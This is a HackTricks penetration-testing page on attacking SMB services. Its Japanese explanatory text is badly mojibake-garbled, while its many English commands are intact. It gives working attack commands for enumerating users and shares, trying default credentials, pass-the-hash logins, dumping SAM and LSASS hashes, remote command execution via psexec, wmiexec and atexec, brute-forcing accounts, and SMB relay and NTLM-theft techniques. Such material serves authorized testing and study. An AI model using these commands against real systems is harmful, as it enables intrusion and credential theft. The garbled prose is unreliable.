31 KiB
139,445 - Pentesting SMB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
ããŒã 139
ãããã¯ãŒã¯åºæ¬å ¥åºåã·ã¹ãã ** (NetBIOS)** ã¯ãããŒã«ã«ãšãªã¢ãããã¯ãŒã¯ (LAN) å ã®ã¢ããªã±ãŒã·ã§ã³ãPCãããã³ãã¹ã¯ãããããããã¯ãŒã¯ããŒããŠã§ã¢ãšçžäºäœçšãããããã¯ãŒã¯ãä»ããŠããŒã¿ã®éä¿¡ãä¿é²ããããã«èšèšããããœãããŠã§ã¢ãããã³ã«ã§ããNetBIOSãããã¯ãŒã¯äžã§åäœãããœãããŠã§ã¢ã¢ããªã±ãŒã·ã§ã³ã®èå¥ãšäœçœ®ç¹å®ã¯ãæ倧16æåã®é·ããæã¡ãã³ã³ãã¥ãŒã¿åãšã¯ç°ãªãããšãå€ãNetBIOSåãéããŠè¡ãããŸãã2ã€ã®ã¢ããªã±ãŒã·ã§ã³éã®NetBIOSã»ãã·ã§ã³ã¯ã1ã€ã®ã¢ããªã±ãŒã·ã§ã³ïŒã¯ã©ã€ã¢ã³ããšããŠæ©èœïŒãTCPããŒã139ãå©çšããŠå¥ã®ã¢ããªã±ãŒã·ã§ã³ïŒãµãŒããŒãšããŠæ©èœïŒããåŒã³åºããã³ãã³ããçºè¡ããããšã§éå§ãããŸãã
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
ããŒã 445
æè¡çã«ã¯ãããŒã 139 ã¯ãNBT over IPããšåŒã°ããããŒã 445 ã¯ãSMB over IPããšããŠèå¥ãããŸããç¥èª SMB ã¯ãServer Message Blocksãã®ç¥ã§ãçŸä»£ã§ã¯ Common Internet File System (CIFS) ãšããŠãç¥ãããŠããŸããã¢ããªã±ãŒã·ã§ã³å±€ã®ãããã¯ãŒã¯ãããã³ã«ãšããŠãSMB/CIFS ã¯äž»ã«ãã¡ã€ã«ãããªã³ã¿ãŒãã·ãªã¢ã«ããŒããžã®å ±æã¢ã¯ã»ã¹ãå¯èœã«ãããããã¯ãŒã¯äžã®ããŒãéã®ããŸããŸãªé信圢æ ãä¿é²ããããã«å©çšãããŸãã
äŸãã°ãWindows ã®æèã§ã¯ãSMB ã TCP/IP äžã§çŽæ¥åäœã§ããããšã匷調ãããŠãããããŒã 445 ãå©çšããããšã§ TCP/IP äžã® NetBIOS ã®å¿ èŠæ§ãæé€ãããŸããéã«ãç°ãªãã·ã¹ãã ã§ã¯ããŒã 139 ã®äœ¿çšã芳å¯ãããSMB ã TCP/IP äžã® NetBIOS ãšå ±ã«å®è¡ãããŠããããšã瀺ããŠããŸãã
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Server Message Block (SMB)ãããã³ã«ã¯ãã¯ã©ã€ã¢ã³ã-ãµãŒãã¢ãã«ã§åäœãããã¡ã€ã«ããã£ã¬ã¯ããªãããã³ããªã³ã¿ãã«ãŒã¿ãªã©ã®ä»ã®ãããã¯ãŒã¯ãªãœãŒã¹ãžã®ã¢ã¯ã»ã¹ãèŠå¶ããããã«èšèšãããŠããŸããäž»ã«Windowsãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã·ãªãŒãºå ã§å©çšãããSMBã¯åŸæ¹äºææ§ã確ä¿ããMicrosoftã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®æ°ããããŒãžã§ã³ãæèŒããããã€ã¹ãå€ãããŒãžã§ã³ãå®è¡ããŠããããã€ã¹ãšã·ãŒã ã¬ã¹ã«çžäºäœçšã§ããããã«ããŸããããã«ãSambaãããžã§ã¯ãã¯ãSMBã®å®è£ ãLinuxããã³Unixã·ã¹ãã ã§å¯èœã«ããç¡æã®ãœãããŠã§ã¢ãœãªã¥ãŒã·ã§ã³ãæäŸããSMBãéããã¯ãã¹ãã©ãããã©ãŒã éä¿¡ãä¿é²ããŸãã
ããŒã«ã«ãã¡ã€ã«ã·ã¹ãã ã®ä»»æã®éšåãè¡šãå ±æã¯ãSMBãµãŒããŒã«ãã£ãŠæäŸãããã¯ã©ã€ã¢ã³ãã«å¯ŸããŠãµãŒããŒã®å®éã®æ§é ãšã¯éšåçã«ç¬ç«ããéå±€ã衚瀺ããŸããã¢ã¯ã»ã¹å¶åŸ¡ãªã¹ã (ACL)ã¯ãã¢ã¯ã»ã¹æš©ãå®çŸ©ããå®è¡ãèªã¿åããããã³ãã«ã¢ã¯ã»ã¹ãªã©ã®å±æ§ãå«ããŠãŒã¶ãŒæš©éã«å¯Ÿãã现ããå¶åŸ¡ãå¯èœã«ããŸãããããã®æš©éã¯ãå ±æã«åºã¥ããŠåã ã®ãŠãŒã¶ãŒãŸãã¯ã°ã«ãŒãã«å²ãåœãŠãããšãã§ãããµãŒããŒäžã®ããŒã«ã«æš©éãšã¯ç°ãªããŸãã
IPC$ Share
IPC$å
±æãžã®ã¢ã¯ã»ã¹ã¯ãå¿åã®ãã«ã»ãã·ã§ã³ãéããŠååŸã§ããååä»ããã€ããä»ããŠå
¬éããããµãŒãã¹ãšã®çžäºäœçšãå¯èœã«ããŸãããã®ç®çã«ã¯ããŠãŒãã£ãªãã£enum4linux
ã䟿å©ã§ããé©åã«å©çšããããšã次ã®æ
å ±ãååŸã§ããŸãïŒ
- ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã«é¢ããæ å ±
- 芪ãã¡ã€ã³ã®è©³çŽ°
- ããŒã«ã«ãŠãŒã¶ãŒããã³ã°ã«ãŒãã®äžèŠ§
- å©çšå¯èœãªSMBå ±æã«é¢ããæ å ±
- æå¹ãªã·ã¹ãã ã»ãã¥ãªãã£ããªã·ãŒ
ãã®æ©èœã¯ããããã¯ãŒã¯ç®¡çè
ãã»ãã¥ãªãã£å°é家ããããã¯ãŒã¯äžã®SMBïŒServer Message BlockïŒãµãŒãã¹ã®ã»ãã¥ãªãã£å§¿å¢ãè©äŸ¡ããããã«éèŠã§ããenum4linux
ã¯ãã¿ãŒã²ããã·ã¹ãã ã®SMBç°å¢ã®å
æ¬çãªãã¥ãŒãæäŸããæœåšçãªè匱æ§ãç¹å®ããSMBãµãŒãã¹ãé©åã«ä¿è·ãããŠããããšã確èªããããã«äžå¯æ¬ ã§ãã
enum4linux -a target_ip
äžèšã®ã³ãã³ãã¯ãtarget_ip
ã§æå®ãããã¿ãŒã²ããã«å¯ŸããŠå®å
šãªåæãå®è¡ããããã«enum4linux
ãã©ã®ããã«äœ¿çšããããã®äŸã§ãã
NTLMãšã¯
NTLMãäœã§ãããç¥ããªãå Žåãããã®ä»çµã¿ãæªçšæ¹æ³ãç¥ãããå Žåã¯ãNTLMã«é¢ãããã®ããŒãžãéåžžã«èå³æ·±ãã§ããããããã§ã¯ãã®ãããã³ã«ã®ä»çµã¿ãšãããå©çšããæ¹æ³ã説æãããŠããŸãã
{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}
ãµãŒããŒåæ
ã¹ãã£ã³ ãããã¯ãŒã¯ãæ€çŽ¢ããŠãã¹ããæ¢ã:
nbtscan -r 192.168.0.1/24
SMBãµãŒããŒããŒãžã§ã³
SMBããŒãžã§ã³ã®å¯èœãªãšã¯ã¹ããã€ããæ¢ãã«ã¯ãã©ã®ããŒãžã§ã³ã䜿çšãããŠããããç¥ãããšãéèŠã§ãããã®æ å ±ãä»ã®äœ¿çšãããŠããããŒã«ã«è¡šç€ºãããªãå Žåã¯ã次ã®ããšãã§ããŸãïŒ
- MSFè£å©ã¢ãžã¥ãŒã«_auxiliary/scanner/smb/smb_versionã䜿çšãã
- ãŸãã¯ãã®ã¹ã¯ãªããã䜿çšããïŒ
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
ãšã¯ã¹ããã€ããæ€çŽ¢
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
å¯èœãª èªèšŒæ å ±
ãŠãŒã¶ãŒå | äžè¬çãªãã¹ã¯ãŒã |
---|---|
(空çœ) | (空çœ) |
ã²ã¹ã | (空çœ) |
管çè , admin | (空çœ), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
ãã«ãŒããã©ãŒã¹
SMB ç°å¢æ å ±
æ å ±ãååŸ
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
ãŠãŒã¶ãŒãã°ã«ãŒãããã³ãã°ãªã³ãŠãŒã¶ãŒã®åæ
ãã®æ å ±ã¯ãã§ã«enum4linuxããã³enum4linux-ngããåéãããŠããã¯ãã§ãã
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
ããŒã«ã«ãŠãŒã¶ãŒã®åæ
lookupsid.py -no-pass hostname.local
ã¯ã³ã©ã€ããŒ
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - ããŒã«ã«ãŠãŒã¶ãŒã®åæ
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
LSARPCãšSAMR rpcclientã®åæ
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}
Linuxããã®GUIæ¥ç¶
ã¿ãŒããã«ã§:
xdg-open smb://cascade.htb/
ãã¡ã€ã«ãã©ãŠã¶ãŠã£ã³ããŠïŒnautilusãthunarãªã©ïŒã§
smb://friendzone.htb/general/
å ±æãã©ã«ãã®åæ
å ±æãã©ã«ãã®ãªã¹ã
ã¢ã¯ã»ã¹ã§ãããã®ããªãã確èªããããšãåžžã«ãå§ãããŸããè³æ Œæ å ±ããªãå Žåã¯ãnull è³æ Œæ å ±/ã²ã¹ããŠãŒã¶ãŒã䜿çšããŠã¿ãŠãã ããã
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
å ±æãã©ã«ããŒã«æ¥ç¶/ãªã¹ã
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
æåã§Windowså ±æãåæããæ¥ç¶ãã
ãã¹ããã·ã³ã®å ±æã衚瀺ããããšãå¶éãããŠããå¯èœæ§ãããããªã¹ãã衚瀺ããããšãããšæ¥ç¶ã§ããå ±æããªãããã«èŠããããšããããŸãããã®ãããå ±æã«æåã§æ¥ç¶ããŠã¿ã䟡å€ããããããããŸãããå ±æãæåã§åæããã«ã¯ãæå¹ãªã»ãã·ã§ã³ïŒäŸïŒãã«ã»ãã·ã§ã³ãŸãã¯æå¹ãªè³æ Œæ å ±ïŒã䜿çšããŠãNT_STATUS_ACCESS_DENIEDãNT_STATUS_BAD_NETWORK_NAMEã®ãããªå¿çãæ¢ããšè¯ãã§ãããããããã¯ãå ±æãååšããã¢ã¯ã»ã¹ã§ããªãããå ±æããŸã£ããååšããªããã瀺ãå¯èœæ§ããããŸãã
Windowsã¿ãŒã²ããã®äžè¬çãªå ±æåã¯æ¬¡ã®ãšããã§ãã
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
ïŒ_Network Security Assessment 3rd edition_ããã®äžè¬çãªå ±æåïŒ
次ã®ã³ãã³ãã䜿çšããŠæ¥ç¶ãè©Šã¿ãããšãã§ããŸãã
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
ãã®ã¹ã¯ãªããïŒãã«ã»ãã·ã§ã³ã䜿çšïŒ
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
äŸ
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Windowsããã®å ±æãåæãã / ãµãŒãããŒãã£ããŒã«ãªã
PowerShell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
CMDã³ã³ãœãŒã«
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
MMCã¹ãããã€ã³ïŒã°ã©ãã£ã«ã«ïŒ
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
explorer.exe (ã°ã©ãã£ã«ã«)ã§ãå©çšå¯èœãªé衚瀺ã®å
±æã衚瀺ããã«ã¯ \\<ip>\
ãå
¥åããŸãã
å ±æãã©ã«ããããŠã³ããã
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
ãã¡ã€ã«ã®ããŠã³ããŒã
è³æ Œæ å ±/Pass-the-Hashã䜿çšããŠæ¥ç¶ããæ¹æ³ã«ã€ããŠã¯ãåã®ã»ã¯ã·ã§ã³ãåç §ããŠãã ããã
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
Commands:
- mask: ãã£ã¬ã¯ããªå ã®ãã¡ã€ã«ããã£ã«ã¿ãªã³ã°ããããã«äœ¿çšããããã¹ã¯ãæå®ããŸãïŒäŸ: "" ãã¹ãŠã®ãã¡ã€ã«ïŒ
- recurse: ååž°ããªã³ã«åãæ¿ããŸãïŒããã©ã«ã: ãªãïŒ
- prompt: ãã¡ã€ã«åã®ããã³ããããªãã«åãæ¿ããŸãïŒããã©ã«ã: ãªã³ïŒ
- mget: ãã¹ãããã¯ã©ã€ã¢ã³ããã·ã³ã«ãã¹ã¯ã«äžèŽãããã¹ãŠã®ãã¡ã€ã«ãã³ããŒããŸã
(Information from the manpage of smbclient)
Domain Shared Folders Search
- Snaffler****
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec ã¹ãã€ããŒã
-M spider_plus [--share <share_name>]
--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
ç¹ã«èå³æ·±ãã®ã¯ãRegistry.xml
ãšãããã¡ã€ã«ã§ããã㯠autologon ãã°ã«ãŒãããªã·ãŒãä»ããŠèšå®ããããŠãŒã¶ãŒã® ãã¹ã¯ãŒã ãå«ãã§ããå¯èœæ§ããããŸãããŸããweb.config
ãã¡ã€ã«ããèªèšŒæ
å ±ãå«ãã§ããŸãã
{% hint style="info" %}
SYSVOLå
±æ ã¯ããã¡ã€ã³å
ã®ãã¹ãŠã®èªèšŒããããŠãŒã¶ãŒã«ãã£ãŠ èªã¿åãå¯èœ ã§ããããã«ã¯ãããŸããŸãªããããVBScriptãããã³ PowerShell ã¹ã¯ãªãã ãå€æ° èŠã€ãã ãããããŸããã
ãã®äžã® ã¹ã¯ãªãã ã ç¢ºèª ããã¹ãã§ããã¹ã¯ãŒã ãªã©ã®æ©å¯æ
å ±ã èŠã€ãã å¯èœæ§ããããŸãã
{% endhint %}
ã¬ãžã¹ããªã®èªã¿åã
çºèŠããèªèšŒæ
å ±ã䜿çšã㊠ã¬ãžã¹ããªãèªã¿åã ããšãã§ãããããããŸãããImpacket reg.py
ã䜿çšããŠè©Šãããšãã§ããŸãïŒ
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Post Exploitation
SambaãµãŒããŒã®ããã©ã«ãèšå®ã¯éåžž/etc/samba/smb.conf
ã«ãããããã€ãã®å±éºãªèšå®ãå«ãŸããŠããå¯èœæ§ããããŸãïŒ
èšå® | 説æ |
---|---|
browseable = yes |
çŸåšã®å ±æã§å©çšå¯èœãªå ±æããªã¹ã衚瀺ããããšãèš±å¯ããŸããïŒ |
read only = no |
ãã¡ã€ã«ã®äœæãšå€æŽãçŠæ¢ããŸããïŒ |
writable = yes |
ãŠãŒã¶ãŒããã¡ã€ã«ãäœæããã³å€æŽããããšãèš±å¯ããŸããïŒ |
guest ok = yes |
ãã¹ã¯ãŒãã䜿çšããã«ãµãŒãã¹ã«æ¥ç¶ããããšãèš±å¯ããŸããïŒ |
enable privileges = yes |
ç¹å®ã®SIDã«å²ãåœãŠãããæš©éãå°éããŸããïŒ |
create mask = 0777 |
æ°ããäœæããããã¡ã€ã«ã«ã©ã®æš©éãå²ãåœãŠãå¿ èŠããããŸããïŒ |
directory mask = 0777 |
æ°ããäœæããããã£ã¬ã¯ããªã«ã©ã®æš©éãå²ãåœãŠãå¿ èŠããããŸããïŒ |
logon script = script.sh |
ãŠãŒã¶ãŒã®ãã°ã€ã³æã«å®è¡ããå¿ èŠãããã¹ã¯ãªããã¯äœã§ããïŒ |
magic script = script.sh |
ã¹ã¯ãªãããéãããããšãã«å®è¡ãã¹ãã¹ã¯ãªããã¯ã©ãã§ããïŒ |
magic output = script.out |
ããžãã¯ã¹ã¯ãªããã®åºåãã©ãã«ä¿åããå¿ èŠããããŸããïŒ |
ã³ãã³ãsmbstatus
ã¯ãµãŒããŒã«é¢ããæ
å ±ãšæ¥ç¶ããŠãã人ã«ã€ããŠã®æ
å ±ãæäŸããŸãã
Authenticate using Kerberos
smbclientããã³rpcclientããŒã«ã䜿çšããŠkerberosã«èªèšŒã§ããŸãïŒ
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
ã³ãã³ãã®å®è¡
crackmapexec
crackmapexecã¯ãmmcexecãsmbexecãatexecãwmiexecã®ãããããæªçšããŠã³ãã³ããå®è¡ã§ããŸããwmiexecãããã©ã«ãã®æ¹æ³ã§ãã䜿çšããããªãã·ã§ã³ã--exec-method
ãã©ã¡ãŒã¿ã§æå®ã§ããŸãïŒ
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
äž¡æ¹ã®ãªãã·ã§ã³ã¯ãæ°ãããµãŒãã¹ãäœæããŸãïŒSMBçµç±ã§ \pipe\svcctl ã䜿çšïŒè¢«å®³è
ã®ãã·ã³ã§ãããã䜿çšããŠäœããå®è¡ããŸãïŒpsexecã¯å®è¡å¯èœãã¡ã€ã«ãADMIN$å
±æã«ã¢ããããŒãããsmbexecã¯cmd.exe/powershell.exe**ãæããåŒæ°ã«ãã€ããŒããå
¥ããŸã --ãã¡ã€ã«ã¬ã¹æè¡--ïŒã
詳现æ
å ±ã¯psexecãšsmbexecãåç
§ããŠãã ããã
kaliã§ã¯ã/usr/share/doc/python3-impacket/examples/ã«ãããŸãã
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
ãã©ã¡ãŒã¿ãŒ-k
ã䜿çšãããšãNTLMã®ä»£ããã«kerberosã«å¯ŸããŠèªèšŒã§ããŸãã
wmiexec/dcomexec
ãã£ã¹ã¯ã«è§Šãããæ°ãããµãŒãã¹ãå®è¡ããããšãªããããŒã135ãä»ããŠDCOMã䜿çšããŠã³ãã³ãã·ã§ã«ã stealthily å®è¡ããŸãã
kaliã§ã¯ã/usr/share/doc/python3-impacket/examples/ã«ãããŸãã
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
ãã©ã¡ãŒã¿ãŒ-k
ã䜿çšãããšãNTLMã®ä»£ããã«kerberosã«å¯ŸããŠèªèšŒã§ããŸãã
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
ã¿ã¹ã¯ã¹ã±ãžã¥ãŒã©ãä»ããŠã³ãã³ããå®è¡ããŸãïŒSMBçµç±ã§ \pipe\atsvc ã䜿çšïŒã
kali ã§ã¯ /usr/share/doc/python3-impacket/examples/ ã«ãããŸãã
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Impacket reference
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
ãŠãŒã¶ãŒè³æ Œæ å ±ã®ãã«ãŒããã©ãŒã¹
ããã¯æšå¥šãããŸãããæ倧蚱å¯è©Šè¡åæ°ãè¶ ãããšã¢ã«ãŠã³ãããããã¯ãããå¯èœæ§ããããŸã
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMBãªã¬ãŒæ»æ
ãã®æ»æã¯ãResponderããŒã«ãããã䜿çšããŠå
éšãããã¯ãŒã¯äžã®SMBèªèšŒã»ãã·ã§ã³ããã£ããã£ãããããã¿ãŒã²ãããã·ã³ã«äžç¶ããŸããèªèšŒã»ãã·ã§ã³ãæåãããšãèªåçã«ã·ã¹ãã ã®ã·ã§ã«ã«å
¥ããŸãã
ãã®æ»æã«é¢ãã詳现æ
å ±ã¯ãã¡ãã
SMB-Trap
Windowsã©ã€ãã©ãªURLMon.dllã¯ãããŒãžãSMBãä»ããŠã³ã³ãã³ãã«ã¢ã¯ã»ã¹ããããšãããšãèªåçã«ãã¹ãã«èªèšŒãè©Šã¿ãŸããäŸãã°ïŒimg src="\\10.10.10.10\path\image.jpg"
ããã¯ä»¥äžã®é¢æ°ã§çºçããŸãïŒ
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
ãããã¯ãäžéšã®ãã©ãŠã¶ãããŒã«ïŒSkypeãªã©ïŒã«ãã£ãŠäœ¿çšãããŸãã
MitMfã䜿çšããSMBTrap
NTLMçªç
SMBãã©ããã³ã°ã«äŒŒãŠãã¿ãŒã²ããã·ã¹ãã ã«æªæã®ãããã¡ã€ã«ãæ€ãä»ããïŒäŸãã°SMBçµç±ã§ïŒããšã§ãSMBèªèšŒã®è©Šè¡ãåŒãèµ·ãããNetNTLMv2ããã·ã¥ãResponderã®ãããªããŒã«ã§ååããããšãã§ããŸããããã·ã¥ã¯ãªãã©ã€ã³ã§ã¯ã©ãã¯ããããSMBãªã¬ãŒæ»æã«äœ¿çšã§ããŸãã
HackTricksèªåã³ãã³ã
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as âNBT over IPâ, Port 445 is âSMB over IPâ. SMB stands for âServer Message Blocksâ. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
